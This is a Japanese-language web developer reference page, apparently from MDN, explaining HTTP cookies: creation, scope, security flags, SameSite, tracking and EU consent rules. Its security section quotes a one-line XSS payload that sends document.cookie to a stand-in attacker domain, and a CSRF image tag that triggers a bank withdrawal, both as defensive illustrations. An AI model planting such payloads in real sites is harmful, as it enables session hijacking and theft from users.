HTTP Cookie

HTTP Cookie (ウェブ Cookie、ブラウザー Cookie) はサーバーがユーザーのウェブブラウザーに送信する小さなデータであり、ブラウザーに保存されて次のリクエストと共に同じサーバーへ返送されます。一般的には 2 つのリクエストが同じブラウザから送信したものであるかを知るために使用されて、例えばユーザーのログイン状態を維持することができます。Cookie は、ステートレスな HTTP プロトコルのためにステートフルな情報を記憶します。

Cookie は主に、以下の 3 つの用途で使用されます:

  • セッション管理 (ユーザーのログイン、ショッピングカート)
  • 個人設定 (ユーザーの設定)
  • トラッキング (ユーザーの行動を分析する)

また Cookie は、汎用的なクライアント側の記憶領域としても使用されます。このほかにクライアント側へデータを保存する手段がなかった頃はこの使い方が合理的であると考えられていましたが、さまざまなストレージ API がウェブブラウザーに備わっている現在は適切な使い方ではありません。Cookie はすべてのリクエストで送信されますので、(特にモバイルウェブで) パフォーマンス上の負担を増やす可能性があります。ローカルストレージ用に考えられた新しい API が、Web storage API (localStorage および sessionStorage) と IndexedDB です。

保存された Cookie (およびウェブページが使用可能な他の種類のストレージ) を確認するには、開発ツールの ストレージインスペクター を有効化して、ストレージのツリーで Cookie ストレージを選択してください。

Cookie を作成する

HTTP リクエストを受け取ったサーバーは、レスポンスで Set-Cookie ヘッダーを送信できます。Cookie は通常ブラウザーに保存されて、その後に同じサーバーに対して行うすべてのリクエストで、Cookie HTTP ヘッダーの内容で Cookie の値を送信します。さらに、特定のドメインやパスへの制限や有効期限を指定して、どれだけの期間どのサイトへ Cookie を送信するかを限定できます。

Set-Cookie HTTP レスポンスヘッダーは、サーバーがユーザーエージェントへ Cookie を送信するために使用します。以下のようにしてシンプルな Cookie を設定できます:

Set-Cookie: <cookie-name>=<cookie-value>

サーバーはクライアントへ、Cookie を保存するよう求めます (例えば PHPNode.jsPythonRuby on Rails といったアプリケーションが行います)。ブラウザーに送信されるレスポンスに Set-Cookie ヘッダーが含まれており、ブラウザーは Cookie を保存します。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[ページのコンテンツ]

そして、サーバーに対するすべての新たなリクエストで、ブラウザーは以前保存したすべての Cookie を Cookie ヘッダーでサーバーへ送信します。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

セッション Cookie

前述のシンプルな Cookie は、セッション Cookieです。 Expires も Max-Age ディレクティブも指定されていないので、セッションCookieはクライアントを終了したときに削除されます。ただし、ウェブブラウザーのセッション復元機能によって、ブラウザーを終了したことがないかのようにほとんどのセッション Cookie が残り続けることがあります。

持続的 Cookie

持続的 Cookie はクライアントを終了しても無効にならず、指定した日時 (Expires) あるいは指定した期間が経過した後 (Max-Age) に期限が切れます。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

セキュア Cookie と HttpOnly Cookie

セキュア Cookie は、SSL および HTTPS プロトコルを使用してリクエストを行う場合に限り、サーバーへ送信される Cookie です。しかし仕組み全体が本質的に安全ではなく、またこのフラグは追加の暗号化やセキュリティを提供しないため、HTTP Cookie で機密情報を保存したり送信したりしてはいけないことに注意してください。

クロスサイトスクリプティング (XSS) 攻撃を防ぐため、Document.cookie プロパティ、XMLHttpRequestRequest API を使用して JavaScript で HTTP 限定の Cookie にアクセスすることはできません。JavaScript で Cookie を使用する必要性がない場合は、このフラグを設定してください。特に、セッションを定義するためだけに使用している Cookie は JavaScript で使用する必要性がありませんので、HttpOnly フラグを設定するべきです。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie のスコープ

Domain および Path ディレクティブは、Cookie のスコープを定義します。スコープは、Cookie を返送すべき URL のセットです。

Domain は、Cookie を送信するホストを指定します。指定されていない場合は、ドキュメントがある場所のホストの部分 (サブドメインは除く) が既定値になります。ドメインを指定した場合は、サブドメインが常に含まれます。

Domain=mozilla.org を設定すると、developer.mozilla.org のようなサブドメインも含みます。

Path は、Cookie ヘッダーを送信する前に、要求したリソース内に存在しなければならない URL パスを示します。%x2F ("/") 文字はディレクトリの区切り文字として解釈され、サブディレクトリもマッチします。

Path=/docs を設定すると、以下のパスはすべてマッチします:

  • "/docs",
  • "/docs/Web/",
  • "/docs/Web/HTTP"

SameSite Cookie

SameSite Cookie は、クロスサイトリクエストと共に Cookie を送信してはならないことをサーバーが示せるようにします。これは、クロスサイトリクエストフォージェリー攻撃 (CSRF) の対策のひとつです。SameSite Cookie はまだ実験的であり、サポートしていないブラウザーがあります。

Document.cookies を使用して JavaScript でアクセスする

Document.cookie プロパティを使用して新しい Cookie を作成することもできます。また HttpOnly フラグが設定されていなければ、既存の Cookie に JavaScript からアクセスすることもできます。

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// "yummy_cookie=choco; tasty_cookie=strawberry" をログに記録

後述する セキュリティ の章に記載したとおり、セキュリティの影響に注意してください。JavaScript で使用できる Cookie は、XSS によって盗まれる可能性があります。

セキュリティ

Cookie の仕組み全体が本質的に安全ではないため、HTTP Cookie で機密情報を保存したり送信したりしてはいけません。

セッションハイジャックと XSS

ウェブアプリケーションでユーザーや認証セッションを識別するために、よく Cookie が使用されます。よってウェブアプリケーションから Cookie を盗み出すと、認証されたユーザーのセッションの乗っ取りにつながります。Cookie を盗み出す一般的な方法としてソーシャルエンジニアリングの使用や、アプリケーションの XSS 脆弱性の悪用があります。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly Cookie 属性は、JavaScript で Cookie の値にアクセスできなくすることにより、これらの攻撃を緩和する助けになります。

クロスサイトリクエストフォージェリー (CSRF)

Wikipedia が、CSRF の的確な例を挙げています。この状況では、誰かが本物の画像ではない画像を (例えばフィルタリングされていないチャットやフォーラムに) 含めています。これは、実際は銀行のサーバーにお金の引き出しを要求します:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

過去に銀行のアカウントにログインしており、Cookie がまだ有効である (また、他の検証が行われない) 場合は、この画像を含む HTML を読み込むとすぐに送金されてしまうでしょう。このようなことを防ぐために使用される手法がいくつかあります:

  • XSS と同様に、入力内容のフィルタリングが重要です。
  • 注意が必要なアクションに対して、常に確認を必要とするべきです。
  • 注意が必要なアクションで使用する Cookie は、有効期間を短くするべきです。
  • ほかの防御策については、OWASP CSRF prevention cheat sheet をご覧ください。

トラッキングとプライバシー

サードパーティ Cookie

Cookie には、関連付けられたドメインが存在します。このドメインとページが存在するドメインが同じである Cookie は、ファーストパーティ Cookie と呼びます。ドメインが異なる場合は、サードパーティ Cookie と呼びます。ファーストパーティ Cookie は Cookie を設定したサーバーにしか送信されませんが、ウェブページには他のドメインのサーバーに保存されている画像などの部品 (広告バナーなど) が含まれている場合があります。これらサードパーティの部品によって送信される Cookie はサードパーティ Cookie と呼ばれ、主にウェブのいたるところで広告やトラッキングを行うために使用されます。例として Google が使用している Cookie の種類 をご覧ください。ほとんどのブラウザーはデフォルトでサードパーティ Cookie を許可していますが、それらを遮断できるアドオン (例えば EFF による Privacy Badger) があります。

サードパーティ Cookie を明らかにしなければ、消費者は Cookie を使用していることを発見したときに害があるものだと考えるでしょう。明確に開示する (プライバシーポリシーなどで) ことで、Cookie を発見したときの悪影響を防止できるでしょう。また、Cookie に関する法令が存在する国もあります。例えば、Wikipedia の cookie statement をご覧ください。

Do-Not-Track

使用に関して法的あるいは技術的な要求はありませんが DNT ヘッダーを使用してウェブアプリケーションに、アプリケーションのトラッキングやユーザー個人をサイト間でトラッキングすることは無効化すべきであると知らせることができます。詳しくは DNT ヘッダーをご覧ください。

EU における Cookie の要件が、欧州議会の Directive 2009/136/EC で定義され、2011 年 5 月 25 日に発効しました。指令そのものは法令ではありませんが、EU 加盟国への要求では、指令の要件に合致する適切な法令を施行するよう述べています。実際の法令は、国によって異なります。

簡単に言うと EU 指令では、誰かがコンピューター・携帯電話などのデバイスに情報を保存したりデバイスから情報を取り出したりする前に、ユーザーは説明に基づいて同意を与えなければなりません。これ以降多くのウェブサイトが、Cookie を使用していることをユーザーに通知するバナーを追加しました。

詳しくは Wikipedia のこちらの章 をご覧いただき、最新かつ正確な情報を得るために各国の法令を確認してください。

ゾンビ Cookie と Evercookie

より過激な Cookie への取り組みが、削除した後に再作成されて永久に削除することを意図的に困難にした Cookie である、ゾンビ Cookie または "Evercookie" です。これは Cookie が存在しないことを検出するたびに再作成するために、Web storage API、Flash の Local Shared Objects あるいは他の技術を使用しています。

関連情報

ドキュメントのタグと貢献者

タグ: 
 このページの貢献者: __ku, yyss
 最終更新者: __ku,